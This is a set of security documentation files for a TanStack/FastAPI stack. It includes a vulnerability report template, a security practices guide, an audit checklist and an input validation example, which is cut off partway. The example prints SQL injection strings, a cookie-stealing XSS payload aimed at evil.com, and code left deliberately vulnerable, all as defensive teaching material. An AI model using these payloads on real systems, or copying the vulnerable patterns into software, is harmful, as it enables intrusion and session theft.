**CVSS Format**: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
**Severity Ratings**: Critical (9.0-10.0), High (7.0-8.9), Medium (4.0-6.9), Low (0.1-3.9)
**Code Blocks**: Use triple backticks with language specifier (```typescript, ```python)
## Related Documentation
- **Examples**: [Examples Index](../examples/INDEX.md) - Real vulnerability examples
- **Reference**: [Reference Index](../reference/INDEX.md) - OWASP, CVSS, compliance guides
- **Main Agent**: [security-analyzer.md](../security-analyzer.md) - Security analyzer agent
---
Return to [main agent](../security-analyzer.md)

View File

@@ -0,0 +1,279 @@
# Security Vulnerability Report
**Report ID**: VULN-YYYY-###
**Date**: YYYY-MM-DD
**Severity**: [Critical | High | Medium | Low]
**CVSS Score**: X.X
**Status**: [Open | In Progress | Resolved | Verified]
**Reporter**: [Name or Team]
---
## Executive Summary
**For non-technical stakeholders**
_Brief description of the vulnerability in business terms (2-3 sentences). Focus on impact to users, data, or business operations._
**Example**:
> A critical SQL injection vulnerability was discovered in the user search endpoint that allows attackers to extract all customer data from the database, including names, emails, and payment information. This vulnerability affects all users of the application and could result in a significant data breach if exploited.
---
## Vulnerability Details
### Description
_Technical description of the vulnerability. What is broken and why?_
**Affected Systems**:
- Component: [API endpoint, database, authentication system, etc.]
- Version: [Software version number]
- URL/Location: [https://api.greyhaven.io/users/search]
- Environment: [Production | Staging | Development]
**Attack Vector**: [Network | Adjacent | Local | Physical]
**OWASP Category**: [A03:2021 - Injection]
### CVSS v3.1 Scoring
**Vector String**: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
| Metric | Value | Justification |
|--------|-------|---------------|
| Attack Vector (AV) | [N/A/L/P] | _How is it exploited?_ |
| Attack Complexity (AC) | [L/H] | _Difficulty of exploitation_ |
| Privileges Required (PR) | [N/L/H] | _Authentication needed?_ |
| User Interaction (UI) | [N/R] | _Victim must act?_ |
| Scope (S) | [U/C] | _Affects other components?_ |
| Confidentiality (C) | [H/L/N] | _Data disclosure?_ |
| Integrity (I) | [H/L/N] | _Data modification?_ |
| Availability (A) | [H/L/N] | _Service disruption?_ |
**Base Score**: X.X ([Critical | High | Medium | Low])
---
## Proof of Concept
### Exploitation Steps
1. **Step 1**: _Description_
```bash
# Command or code
```
2. **Step 2**: _Description_
```bash
# Command or code
```
3. **Step 3**: _Description_
```bash
# Expected result
```
### Evidence
_Screenshots, logs, or output demonstrating successful exploitation_
```
[Paste actual output or attach screenshot]
```
### Affected Code
**File**: `path/to/vulnerable/file.ts`
**Lines**: 42-58
```typescript
// Vulnerable code snippet
export async function searchUsers(query: string) {
// ❌ VULNERABLE: String concatenation in SQL query
const sql = `SELECT * FROM users WHERE username LIKE '%${query}%'`;
return await db.query(sql);
}
```
---
## Business Impact
### Risk Assessment
**Likelihood**: [High | Medium | Low]
- _How likely is exploitation in the wild?_
**Impact**: [Critical | High | Medium | Low]
- _What is the worst-case outcome?_
**Overall Risk**: [Critical | High | Medium | Low]
- _Likelihood × Impact_
### Potential Consequences
- **Data Breach**: _Description of data exposure (e.g., 500K user records)_
- **Financial Loss**: _Estimated monetary impact (e.g., $500K in GDPR fines)_
- **Reputational Damage**: _Impact on brand trust_
- **Regulatory Compliance**: _Which regulations violated (GDPR, PCI DSS)_
### Affected Users
- **User Count**: [X users affected]
- **User Types**: [All users | Admin users | Specific tenant]
- **Geographic Scope**: [Global | EU | US only]
---
## Remediation
### Immediate Mitigation (Temporary Fix)
**Timeline**: Implement within [X hours]
_Quick workaround to reduce risk while developing permanent fix_
**Steps**:
1. _Temporary mitigation step 1_
2. _Temporary mitigation step 2_
**Code Example** (if applicable):
```typescript
// Temporary workaround
export async function searchUsers(query: string) {
// ✅ TEMPORARY: Input validation regex
if (!/^[a-zA-Z0-9_-]+$/.test(query)) {
throw new Error('Invalid query');
}
const sql = `SELECT * FROM users WHERE username LIKE '%${query}%'`;
return await db.query(sql);
}
```
### Permanent Fix
**Timeline**: Deploy within [X days]
_Complete solution that eliminates the vulnerability_
**Steps**:
1. _Implementation step 1_
2. _Implementation step 2_
3. _Testing step_
4. _Deployment step_
**Code Example**:
```typescript
// ✅ SECURE: Parameterized query with Drizzle ORM
import { eq, like } from 'drizzle-orm';
export async function searchUsers(query: string) {
// ✅ Input validation
if (query.length > 100) {
throw new Error('Query too long');
}
// ✅ Parameterized query (SQL injection safe)
return await db.query.users.findMany({
where: like(users.username, `%${query}%`)
});
}
```
### Testing & Verification
**Test Cases**:
- [ ] Normal input: `alice` → Returns matching users
- [ ] Malicious input: `'; DROP TABLE users--` → Rejected/escaped
- [ ] SQL injection attempt: `' OR '1'='1` → No unauthorized access
- [ ] Automated test: `bun test security/sql-injection.test.ts`
**Verification Steps**:
1. Deploy fix to staging
2. Run penetration test suite
3. Verify vulnerability no longer exploitable
4. Code review by security team
5. Deploy to production
6. Monitor for 48 hours
---
## Timeline
| Date | Event | Responsible |
|------|-------|-------------|
| YYYY-MM-DD | Vulnerability discovered | [Name] |
| YYYY-MM-DD | Security team notified | [Name] |
| YYYY-MM-DD | Initial assessment completed | Security Team |
| YYYY-MM-DD | Temporary mitigation deployed | DevOps |
| YYYY-MM-DD | Permanent fix developed | Engineering |
| YYYY-MM-DD | Fix deployed to production | DevOps |
| YYYY-MM-DD | Vulnerability verified fixed | Security Team |
| YYYY-MM-DD | Report published (if public) | Security Team |
---
## References
### CVE/CWE
- **CVE**: [CVE-YYYY-XXXXX] (if assigned)
- **CWE**: [CWE-89: SQL Injection]
- **OWASP**: [A03:2021 - Injection]
### Documentation
- [OWASP SQL Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)
- [Drizzle ORM Security Documentation](https://orm.drizzle.team/)
- Internal: [Security Best Practices](../reference/owasp-top-10.md)
### Similar Incidents
- _Link to similar vulnerabilities in your organization_
- _External references to similar attacks (if applicable)_
---
## Compliance Mapping
**Affected Compliance Requirements**:
- [ ] **PCI DSS 4.0**: Requirement 6.2 (Secure Development)
- [ ] **GDPR**: Article 32 (Security of Processing)
- [ ] **SOC 2**: CC6.1 (Logical Access Controls)
---
## Lessons Learned
### Root Cause Analysis
_What caused this vulnerability to exist?_
**Example**:
> The vulnerability was introduced in commit abc123 when developers implemented user search without using the ORM. Code review did not catch the SQL injection vulnerability because security review was not part of the PR checklist.
### Prevention Measures
_How can we prevent this class of vulnerabilities in the future?_
- [ ] Add SQL injection test cases to CI/CD
- [ ] Enforce Drizzle ORM usage (eslint rule)
- [ ] Security training on parameterized queries
- [ ] Mandatory security review for database changes
- [ ] Run `bun audit` and `bandit` in CI/CD
---
## Sign-Off
**Reported by**: _______________________ Date: ___________
**Verified by**: _______________________ Date: ___________
**Approved for Closure**: _______________________ Date: ___________
---
**Template Version**: 1.0.0
**Last Updated**: 2025-01-06

View File

@@ -0,0 +1,424 @@
---
name: grey-haven-security-practices
description: Grey Haven's security best practices - input validation, output sanitization, multi-tenant RLS, secret management with Doppler, rate limiting, OWASP Top 10 for TanStack/FastAPI stack. Use when implementing security-critical features.
---
# Grey Haven Security Practices
Follow Grey Haven Studio's security best practices for TanStack Start and FastAPI applications.
## Secret Management with Doppler
**CRITICAL**: NEVER commit secrets to git. Always use Doppler.
### Doppler Setup
```bash
# Install Doppler CLI
brew install dopplerhq/cli/doppler
# Authenticate
doppler login
# Setup project
cd /path/to/project
doppler setup
# Access secrets
doppler run -- npm run dev # TypeScript
doppler run -- python app/main.py # Python
```
### Required Secrets (Doppler)
```bash
# Auth
BETTER_AUTH_SECRET=<random-32-bytes>
JWT_SECRET_KEY=<random-32-bytes>
# Database
DATABASE_URL_ADMIN=postgresql://...
DATABASE_URL_AUTHENTICATED=postgresql://...
# APIs
RESEND_API_KEY=re_...
STRIPE_SECRET_KEY=sk_...
OPENAI_API_KEY=sk-...
# OAuth
GOOGLE_CLIENT_SECRET=GOCSPX-...
GITHUB_CLIENT_SECRET=...
```
### Accessing Secrets in Code
```typescript
// [OK] Correct - Use process.env (Doppler provides at runtime)
const apiKey = process.env.OPENAI_API_KEY!;
// [X] Wrong - Hardcoded secrets
const apiKey = "sk-..."; // NEVER DO THIS!
```
```python
# [OK] Correct - Use os.getenv (Doppler provides at runtime)
import os
api_key = os.getenv("OPENAI_API_KEY")
# [X] Wrong - Hardcoded secrets
api_key = "sk-..." # NEVER DO THIS!
```
## Input Validation
### TypeScript (Zod Validation)
```typescript
import { z } from "zod";
// [OK] Validate all user input
const UserCreateSchema = z.object({
email_address: z.string().email().max(255),
name: z.string().min(1).max(100),
age: z.number().int().min(0).max(150),
});
export const createUser = createServerFn("POST", async (data: unknown) => {
// Validate input
const validated = UserCreateSchema.parse(data);
// Now safe to use
await db.insert(users).values(validated);
});
```
### Python (Pydantic Validation)
```python
from pydantic import BaseModel, EmailStr, Field, validator
class UserCreate(BaseModel):
"""User creation schema with validation."""
email_address: EmailStr
name: str = Field(min_length=1, max_length=100)
age: int = Field(ge=0, le=150)
@validator("name")
def name_must_not_contain_special_chars(cls, v):
if not v.replace(" ", "").isalnum():
raise ValueError("Name must be alphanumeric")
return v
@router.post("/users", response_model=UserResponse)
async def create_user(data: UserCreate):
# Pydantic validates automatically
# data is now safe to use
pass
```
## Output Sanitization
### HTML Escaping (XSS Prevention)
```typescript
// [OK] React automatically escapes in JSX
function UserProfile({ user }: { user: User }) {
return <div>{user.name}</div>; // Safe, auto-escaped
}
// [X] Dangerous - Raw HTML
function UserProfile({ user }: { user: User }) {
return <div dangerouslySetInnerHTML={{ __html: user.bio }} />; // UNSAFE!
}
// [OK] If HTML needed, sanitize first
import DOMPurify from "isomorphic-dompurify";
function UserProfile({ user }: { user: User }) {
const sanitized = DOMPurify.sanitize(user.bio);
return <div dangerouslySetInnerHTML={{ __html: sanitized }} />;
}
```
### SQL Injection Prevention
```typescript
// [OK] Use parameterized queries (Drizzle)
const user = await db.query.users.findFirst({
where: eq(users.email_address, email), // Safe, parameterized
});
// [X] Never concatenate SQL
const user = await db.execute(
`SELECT * FROM users WHERE email = '${email}'` // SQL INJECTION!
);
```
```python
# [OK] Use ORM (SQLModel/SQLAlchemy)
user = await session.execute(
select(User).where(User.email_address == email) # Safe, parameterized
)
# [X] Never concatenate SQL
user = await session.execute(
f"SELECT * FROM users WHERE email = '{email}'" # SQL INJECTION!
)
```
## Multi-Tenant Security (RLS)
### Enable RLS on All Tables
```sql
-- ALWAYS enable RLS for multi-tenant tables
ALTER TABLE users ENABLE ROW LEVEL SECURITY;
ALTER TABLE organizations ENABLE ROW LEVEL SECURITY;
ALTER TABLE teams ENABLE ROW LEVEL SECURITY;
```
### Tenant Isolation Policies
```sql
-- Authenticated users see only their tenant's data
CREATE POLICY "Tenant isolation for users"
ON users FOR ALL TO authenticated
USING (tenant_id = (current_setting('request.jwt.claims')::json->>'tenant_id')::uuid);
```
### Always Include tenant_id in Queries
```typescript
// [OK] Correct - Tenant isolation enforced
export const getUser = createServerFn("GET", async (userId: string) => {
const session = await getSession();
const tenantId = session.user.tenant_id;
return await db.query.users.findFirst({
where: and(
eq(users.id, userId),
eq(users.tenant_id, tenantId) // REQUIRED!
),
});
});
// [X] Wrong - Missing tenant check (security vulnerability!)
export const getUser = createServerFn("GET", async (userId: string) => {
return await db.query.users.findFirst({
where: eq(users.id, userId), // Can access ANY tenant's users!
});
});
```
## Rate Limiting
### Redis-Based Rate Limiting
```typescript
import { Redis } from "@upstash/redis";
// Doppler provides REDIS_URL
const redis = new Redis({ url: process.env.REDIS_URL! });
async function rateLimit(identifier: string, limit: number, window: number) {
const key = `rate-limit:${identifier}`;
const count = await redis.incr(key);
if (count === 1) {
await redis.expire(key, window);
}
if (count > limit) {
throw new Error("Rate limit exceeded");
}
return { success: true, remaining: limit - count };
}
export const sendEmail = createServerFn("POST", async (data) => {
const session = await getSession();
// Rate limit: 10 emails per hour per user
await rateLimit(`email:${session.user.id}`, 10, 3600);
// Send email...
});
```
## Authentication Security
### Password Requirements
```typescript
const PasswordSchema = z.string()
.min(12, "Password must be at least 12 characters")
.regex(/[A-Z]/, "Must contain uppercase letter")
.regex(/[a-z]/, "Must contain lowercase letter")
.regex(/[0-9]/, "Must contain number")
.regex(/[^A-Za-z0-9]/, "Must contain special character");
```
### Session Security
```typescript
// lib/server/auth.ts
export const auth = betterAuth({
session: {
expiresIn: 7 * 24 * 60 * 60, // 7 days
updateAge: 24 * 60 * 60, // Refresh daily
cookieOptions: {
httpOnly: true, // Prevent XSS
secure: true, // HTTPS only
sameSite: "lax", // CSRF protection
},
},
});
```
## CORS Configuration
```typescript
// TanStack Start
import { cors } from "@elysiajs/cors";
app.use(cors({
origin: [
"https://app.greyhaven.studio",
"https://admin.greyhaven.studio",
],
credentials: true,
maxAge: 86400,
}));
```
```python
# FastAPI
from fastapi.middleware.cors import CORSMiddleware
app.add_middleware(
CORSMiddleware,
allow_origins=[
"https://app.greyhaven.studio",
"https://admin.greyhaven.studio",
],
allow_credentials=True,
allow_methods=["GET", "POST", "PUT", "DELETE", "PATCH"],
allow_headers=["*"],
max_age=86400,
)
```
## File Upload Security
```typescript
// Validate file type and size
const MAX_FILE_SIZE = 5 * 1024 * 1024; // 5MB
const ALLOWED_TYPES = ["image/jpeg", "image/png", "image/webp"];
export const uploadFile = createServerFn("POST", async (file: File) => {
// Validate size
if (file.size > MAX_FILE_SIZE) {
throw new Error("File too large");
}
// Validate type
if (!ALLOWED_TYPES.includes(file.type)) {
throw new Error("Invalid file type");
}
// Validate content (check file header, not just extension)
const buffer = await file.arrayBuffer();
const header = new Uint8Array(buffer.slice(0, 4));
// Check for valid image headers
// JPEG: FF D8 FF
// PNG: 89 50 4E 47
// etc.
// Generate safe filename (prevent path traversal)
const ext = file.name.split(".").pop();
const filename = `${crypto.randomUUID()}.${ext}`;
// Upload to secure storage...
});
```
## Environment-Specific Security
### Development
```bash
# Doppler: dev config
BETTER_AUTH_URL=http://localhost:3000
CORS_ORIGINS=http://localhost:3000,http://localhost:5173
DEBUG=true
```
### Production
```bash
# Doppler: production config
BETTER_AUTH_URL=https://app.greyhaven.studio
CORS_ORIGINS=https://app.greyhaven.studio
DEBUG=false
FORCE_HTTPS=true
```
## Testing Security
```typescript
// tests/integration/security.test.ts
import { describe, it, expect } from "vitest";
describe("Security", () => {
it("prevents tenant data leakage", async () => {
// Create user in tenant A
const userA = await createUser({ email: "a@example.com", tenantId: "A" });
// Try to access as tenant B user
const sessionB = await loginAs({ tenantId: "B" });
const result = await getUserById(userA.id, sessionB);
// Should return null or 404, not tenant A's user
expect(result).toBeNull();
});
it("enforces rate limiting", async () => {
// Make 11 requests (limit is 10)
for (let i = 0; i < 11; i++) {
if (i < 10) {
await sendEmail({ to: "test@example.com" });
} else {
await expect(
sendEmail({ to: "test@example.com" })
).rejects.toThrow("Rate limit exceeded");
}
}
});
});
```
## When to Apply This Skill
Use this skill when:
- Handling user input
- Implementing authentication
- Working with sensitive data
- Configuring API endpoints
- Writing database queries
- Implementing file uploads
- Setting up CORS
- Managing secrets with Doppler
## Critical Reminders
1. **Doppler**: ALWAYS use for secrets (never commit to git)
2. **Input validation**: Validate ALL user input (Zod/Pydantic)
3. **RLS**: Enable on all multi-tenant tables
4. **tenant_id**: ALWAYS filter by tenant_id
5. **Rate limiting**: Implement on expensive operations
6. **HTTPS only**: Force HTTPS in production
7. **SQL injection**: Use ORM, never concatenate SQL
8. **XSS**: React auto-escapes, sanitize dangerouslySetInnerHTML
9. **CORS**: Whitelist specific origins
10. **Sessions**: httpOnly, secure, sameSite cookies

View File

@@ -0,0 +1,188 @@
# Security Audit Checklist
Use this checklist before deploying Grey Haven applications to production.
## Secret Management
- [ ] **NO secrets committed to git** (check with `git log -p | grep -E "sk-|api_key|secret"`)
- [ ] All secrets managed through Doppler
- [ ] Development config uses dev secrets (Doppler dev)
- [ ] Production config uses prod secrets (Doppler production)
- [ ] No `.env` files committed
- [ ] `.env.example` documents required variables
## Authentication & Authorization
- [ ] Sessions use secure, httpOnly cookies
- [ ] sameSite="lax" or "strict" set on session cookies
- [ ] Passwords require min 12 characters
- [ ] Passwords validated for complexity (uppercase, lowercase, number, special char)
- [ ] Failed login attempts rate-limited
- [ ] Session expiry configured (max 7 days)
- [ ] Logout properly invalidates sessions
## Multi-Tenant Isolation
- [ ] RLS enabled on ALL multi-tenant tables
- [ ] `tenant_id` field on ALL multi-tenant tables
- [ ] ALL queries filter by tenant_id
- [ ] No direct SQL queries (use ORM)
- [ ] Tenant isolation tested (cannot access other tenant's data)
- [ ] Admin operations respect tenant boundaries
## Input Validation
- [ ] ALL user input validated (Zod for TS, Pydantic for Python)
- [ ] Email addresses validated
- [ ] Numeric inputs have min/max constraints
- [ ] String inputs have length limits
- [ ] File uploads validate type AND content
- [ ] File upload size limits enforced (5MB default)
## Output Sanitization
- [ ] React JSX used for HTML rendering (auto-escapes)
- [ ] No `dangerouslySetInnerHTML` without sanitization
- [ ] DOMPurify used if HTML rendering needed
- [ ] API responses don't include sensitive data
- [ ] Error messages don't leak implementation details
## SQL Injection Prevention
- [ ] Drizzle ORM used for all database queries (TypeScript)
- [ ] SQLModel used for all database queries (Python)
- [ ] NO raw SQL string concatenation
- [ ] Parameterized queries ONLY
- [ ] Database migrations reviewed for security
## XSS Prevention
- [ ] Content-Security-Policy header configured
- [ ] No inline JavaScript in HTML
- [ ] No eval() or similar dangerous functions
- [ ] User-generated content sanitized before display
- [ ] File uploads don't allow HTML/JavaScript
## CSRF Protection
- [ ] sameSite cookies enabled
- [ ] CSRF tokens on state-changing operations (if needed)
- [ ] Origin header validation
- [ ] Double-submit cookie pattern (if applicable)
## CORS Configuration
- [ ] CORS origins explicitly whitelisted
- [ ] NO wildcard CORS origin in production
- [ ] credentials: true only for trusted origins
- [ ] Preflight requests handled correctly
## Rate Limiting
- [ ] Login endpoint rate-limited (10 attempts/hour)
- [ ] Email send rate-limited (10 emails/hour per user)
- [ ] API endpoints rate-limited (100 req/min per IP)
- [ ] Expensive operations rate-limited
- [ ] Rate limit headers returned (X-RateLimit-*)
## HTTPS/TLS
- [ ] HTTPS enforced in production
- [ ] HTTP redirects to HTTPS
- [ ] Strict-Transport-Security header set (HSTS)
- [ ] Valid TLS certificate
- [ ] TLS 1.2+ only (no TLS 1.0/1.1)
## Headers Security
- [ ] X-Frame-Options: DENY or SAMEORIGIN
- [ ] X-Content-Type-Options: nosniff
- [ ] X-XSS-Protection: 1; mode=block
- [ ] Referrer-Policy: strict-origin-when-cross-origin
- [ ] Permissions-Policy configured
## Error Handling
- [ ] Production errors don't leak stack traces
- [ ] Errors logged server-side only
- [ ] Generic error messages to users
- [ ] Sentry/logging configured for production
- [ ] No sensitive data in error messages
## Database Security
- [ ] Database credentials rotated regularly
- [ ] Database uses TLS connection
- [ ] Separate database users for dev/prod
- [ ] Database backups encrypted
- [ ] PII encrypted at rest (if applicable)
## File Upload Security
- [ ] File type validation (MIME type + magic numbers)
- [ ] File size limits enforced
- [ ] Uploaded files scanned for malware
- [ ] Files stored outside web root
- [ ] Random filenames generated (prevent path traversal)
- [ ] Upload endpoint requires authentication
## Dependencies
- [ ] No high/critical vulnerabilities (npm audit, pip-audit)
- [ ] Dependencies up to date
- [ ] Dependabot/Renovate configured
- [ ] Package-lock.json / poetry.lock committed
- [ ] Unused dependencies removed
## Logging & Monitoring
- [ ] Security events logged (failed logins, permission changes)
- [ ] Logs don't contain sensitive data (passwords, tokens)
- [ ] Anomaly detection configured
- [ ] Alerts for suspicious activity
- [ ] Audit trail for admin actions
## Testing
- [ ] Security tests written and passing
- [ ] Tenant isolation tested
- [ ] Rate limiting tested
- [ ] Input validation tested
- [ ] Authentication flows tested
- [ ] Permission boundaries tested
## Compliance (if applicable)
- [ ] GDPR compliance verified (EU users)
- [ ] CCPA compliance verified (CA users)
- [ ] SOC 2 requirements met
- [ ] HIPAA compliance (if healthcare)
- [ ] Data retention policies implemented
## Scoring
- **45+ items checked**: Excellent - Production ready ✅
- **35-44 items**: Good - Minor gaps to address ⚠️
- **25-34 items**: Fair - Significant security work needed 🔴
- **<25 items**: Poor - NOT production ready ❌
## Next Steps
If score < 45:
1. Address all unchecked critical items (secrets, RLS, input validation)
2. Run `npm audit` / `pip-audit` and fix vulnerabilities
3. Test multi-tenant isolation thoroughly
4. Review OWASP Top 10 reference
5. Re-run checklist
## Related Resources
- [OWASP Top 10](../reference/owasp-top-10.md)
- [Security Configuration](../reference/security-configuration.md)
- [Examples](../examples/INDEX.md)
---
**Total Items**: 70+ security checks
**Critical Items**: Secrets, RLS, Input Validation, SQL Injection
**Last Updated**: 2025-11-09

View File

@@ -0,0 +1,60 @@
# Security Practices Examples
Real-world security implementation examples for Grey Haven's TanStack Start and FastAPI stack.
## Available Examples
1. **[Input Validation](input-validation-example.md)** - Comprehensive input validation patterns
- Zod schemas for TypeScript
- Pydantic models for Python
- Common validation patterns
2. **[Multi-Tenant RLS](multi-tenant-rls-example.md)** - Row Level Security implementation
- RLS policies for PostgreSQL
- Tenant isolation in queries
- Testing tenant separation
3. **[Secret Management](secret-management-example.md)** - Doppler integration
- Setting up Doppler
- Accessing secrets in code
- Environment-specific configs
4. **[Rate Limiting](rate-limiting-example.md)** - Redis-based rate limiting
- Per-user rate limits
- Per-endpoint limits
- Graceful degradation
## Recommended Path
**For new projects:**
1. Start with [secret-management-example.md](secret-management-example.md)
2. Implement [input-validation-example.md](input-validation-example.md)
3. Add [multi-tenant-rls-example.md](multi-tenant-rls-example.md)
4. Finish with [rate-limiting-example.md](rate-limiting-example.md)
**For security reviews:**
1. Check [multi-tenant-rls-example.md](multi-tenant-rls-example.md) for data leakage
2. Verify [input-validation-example.md](input-validation-example.md) is applied
3. Audit [secret-management-example.md](secret-management-example.md) compliance
## Quick Reference
### TypeScript/React Security
- See [input-validation-example.md](input-validation-example.md#typescript)
- See [multi-tenant-rls-example.md](multi-tenant-rls-example.md#typescript)
### Python/FastAPI Security
- See [input-validation-example.md](input-validation-example.md#python)
- See [multi-tenant-rls-example.md](multi-tenant-rls-example.md#python)
## Related Materials
- **[Security Checklist](../checklists/security-audit-checklist.md)** - Pre-deployment verification
- **[OWASP Top 10 Reference](../reference/owasp-top-10.md)** - Common vulnerabilities
- **[Configuration Guide](../reference/security-configuration.md)** - Complete settings
---
**Total Examples**: 4 comprehensive guides
**Stack Coverage**: TanStack Start + FastAPI
**Last Updated**: 2025-11-09

View File

@@ -0,0 +1,570 @@
# Input Validation Security Example
Real-world example demonstrating comprehensive input validation to prevent common security vulnerabilities.
## Scenario
Building a user profile update endpoint that's vulnerable to multiple injection attacks due to insufficient validation.
## Vulnerable Code
### Backend (FastAPI) - BEFORE
```python
# ❌ VULNERABLE CODE - DO NOT USE
from fastapi import FastAPI, HTTPException
from sqlalchemy import text
app = FastAPI()
@app.post("/api/users/{user_id}/profile")
async def update_profile(user_id: str, request: dict):
"""Update user profile - VULNERABLE VERSION"""
# ❌ VULNERABILITY 1: No input validation
name = request.get("name")
bio = request.get("bio")
website = request.get("website")
age = request.get("age")
# ❌ VULNERABILITY 2: SQL Injection via string concatenation
query = text(f"""
UPDATE users
SET name = '{name}',
bio = '{bio}',
website = '{website}',
age = {age}
WHERE id = '{user_id}'
""")
await db.execute(query)
return {"status": "success"}
```
**Attack Examples:**
1. **SQL Injection:**
```python
POST /api/users/123/profile
{
"name": "'; DROP TABLE users; --",
"bio": "innocent bio",
"website": "https://example.com",
"age": 25
}
# Executes: UPDATE users SET name = ''; DROP TABLE users; --', ...
# Result: users table deleted!
```
2. **XSS via Bio Field:**
```python
POST /api/users/123/profile
{
"name": "John",
"bio": "<script>fetch('https://evil.com?cookie='+document.cookie)</script>",
"website": "https://example.com",
"age": 25
}
# Bio stored with script tag, executed when rendered
```
3. **Type Confusion:**
```python
POST /api/users/123/profile
{
"name": "John",
"bio": "Normal bio",
"website": "javascript:alert('XSS')", # Invalid URL scheme
"age": "twenty" # String instead of number - could crash
}
```
### Frontend (TanStack Start) - BEFORE
```typescript
// ❌ VULNERABLE CODE - DO NOT USE
async function updateProfile(userId: string, data: any) {
// ❌ VULNERABILITY: No client-side validation
// ❌ VULNERABILITY: Trusting server data without sanitization
const response = await fetch(`/api/users/${userId}/profile`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(data) // No validation
});
return response.json();
}
function ProfileForm() {
const [bio, setBio] = useState('');
const handleSubmit = async (e) => {
e.preventDefault();
await updateProfile(userId, { bio }); // No validation
};
return (
<form onSubmit={handleSubmit}>
<textarea value={bio} onChange={(e) => setBio(e.target.value)} />
{/* ❌ VULNERABILITY: Rendering unescaped HTML */}
<div dangerouslySetInnerHTML={{ __html: bio }} />
<button type="submit">Save</button>
</form>
);
}
```
## Secure Code
### Step 1: Define Validation Schemas
**Frontend:** `src/schemas/user.ts`
```typescript
// ✅ SECURE: Comprehensive Zod schema
import { z } from 'zod';
export const updateProfileSchema = z.object({
name: z
.string()
.min(1, 'Name is required')
.max(100, 'Name must be less than 100 characters')
.regex(/^[a-zA-Z\s'-]+$/, 'Name contains invalid characters')
.transform(str => str.trim()), // Remove whitespace
bio: z
.string()
.max(500, 'Bio must be less than 500 characters')
.transform(str => str.trim())
.optional(),
website: z
.string()
.url('Invalid URL format')
.refine(
(url) => {
// ✅ Only allow http/https schemes
const parsed = new URL(url);
return ['http:', 'https:'].includes(parsed.protocol);
},
{ message: 'URL must use http or https protocol' }
)
.optional(),
age: z
.number()
.int('Age must be an integer')
.min(13, 'Must be at least 13 years old')
.max(120, 'Invalid age')
.optional()
});
export type UpdateProfileInput = z.infer<typeof updateProfileSchema>;
```
**Backend:** `app/schemas/user.py`
```python
# ✅ SECURE: Pydantic model with validation
from pydantic import BaseModel, Field, HttpUrl, validator
import re
class UpdateProfileRequest(BaseModel):
name: str = Field(..., min_length=1, max_length=100)
bio: str | None = Field(None, max_length=500)
website: HttpUrl | None = None # Pydantic validates URL format
age: int | None = Field(None, ge=13, le=120)
@validator('name')
def validate_name(cls, v):
"""Only allow letters, spaces, hyphens, apostrophes"""
if not re.match(r"^[a-zA-Z\s'\-]+$", v):
raise ValueError('Name contains invalid characters')
return v.strip()
@validator('bio')
def validate_bio(cls, v):
"""Strip HTML tags from bio"""
if v:
# Remove HTML tags (basic XSS prevention)
v = re.sub(r'<[^>]*>', '', v)
return v.strip()
return v
@validator('website')
def validate_website(cls, v):
"""Ensure only http/https schemes"""
if v and v.scheme not in ['http', 'https']:
raise ValueError('URL must use http or https protocol')
return v
class Config:
str_strip_whitespace = True # Auto-trim strings
```
### Step 2: Secure Backend Implementation
```python
# ✅ SECURE CODE
from fastapi import FastAPI, HTTPException, Depends
from sqlalchemy.ext.asyncio import AsyncSession
from sqlalchemy import select, update
from uuid import UUID
import bleach # For HTML sanitization
from app.schemas.user import UpdateProfileRequest
from app.models.user import User
from app.db.session import get_session
from app.api.deps import get_current_user, verify_tenant_access
app = FastAPI()
@app.post("/api/users/{user_id}/profile")
async def update_profile(
user_id: UUID, # ✅ SECURITY: Type validation (must be valid UUID)
data: UpdateProfileRequest, # ✅ SECURITY: Pydantic validation
current_user: User = Depends(get_current_user), # ✅ SECURITY: Authentication
session: AsyncSession = Depends(get_session)
):
"""Update user profile - SECURE VERSION"""
# ✅ SECURITY: Authorization - users can only update their own profile
if current_user.id != user_id:
raise HTTPException(status_code=403, detail="Forbidden")
# ✅ SECURITY: Verify user exists and belongs to correct tenant
stmt = select(User).where(
User.id == user_id,
User.tenant_id == current_user.tenant_id # ✅ SECURITY: Tenant isolation
)
result = await session.execute(stmt)
user = result.scalar_one_or_none()
if not user:
raise HTTPException(status_code=404, detail="User not found")
# ✅ SECURITY: Additional HTML sanitization for bio
sanitized_bio = None
if data.bio:
sanitized_bio = bleach.clean(
data.bio,
tags=[], # No HTML tags allowed
strip=True
)
# ✅ SECURITY: Use ORM (prevents SQL injection)
stmt = (
update(User)
.where(User.id == user_id)
.values(
name=data.name,
bio=sanitized_bio,
website=str(data.website) if data.website else None,
age=data.age
)
)
await session.execute(stmt)
await session.commit()
return {"status": "success"}
```
### Step 3: Secure Frontend Implementation
```typescript
// ✅ SECURE CODE
import { useState } from 'react';
import { z } from 'zod';
import DOMPurify from 'dompurify'; // For HTML sanitization
import { updateProfileSchema, type UpdateProfileInput } from '@/schemas/user';
async function updateProfile(userId: string, data: UpdateProfileInput) {
// ✅ SECURITY: Client-side validation before sending
const validated = updateProfileSchema.parse(data);
const response = await fetch(`/api/users/${userId}/profile`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Authorization': `Bearer ${getToken()}` // ✅ SECURITY: Include auth token
},
body: JSON.stringify(validated)
});
if (!response.ok) {
const error = await response.json();
throw new Error(error.detail);
}
return response.json();
}
function ProfileForm() {
const [formData, setFormData] = useState<Partial<UpdateProfileInput>>({
name: '',
bio: '',
website: '',
age: undefined
});
const [errors, setErrors] = useState<Record<string, string>>({});
const handleSubmit = async (e: React.FormEvent) => {
e.preventDefault();
setErrors({});
try {
// ✅ SECURITY: Validate before submission
const validated = updateProfileSchema.parse(formData);
await updateProfile(userId, validated);
alert('Profile updated successfully');
} catch (error) {
if (error instanceof z.ZodError) {
// Display validation errors
const fieldErrors: Record<string, string> = {};
error.errors.forEach((err) => {
const field = err.path[0] as string;
fieldErrors[field] = err.message;
});
setErrors(fieldErrors);
} else {
alert('Failed to update profile');
}
}
};
// ✅ SECURITY: Sanitize bio before rendering
const sanitizedBio = DOMPurify.sanitize(formData.bio || '', {
ALLOWED_TAGS: [], // No HTML tags
ALLOWED_ATTR: []
});
return (
<form onSubmit={handleSubmit}>
<div>
<label htmlFor="name">Name</label>
<input
id="name"
type="text"
value={formData.name}
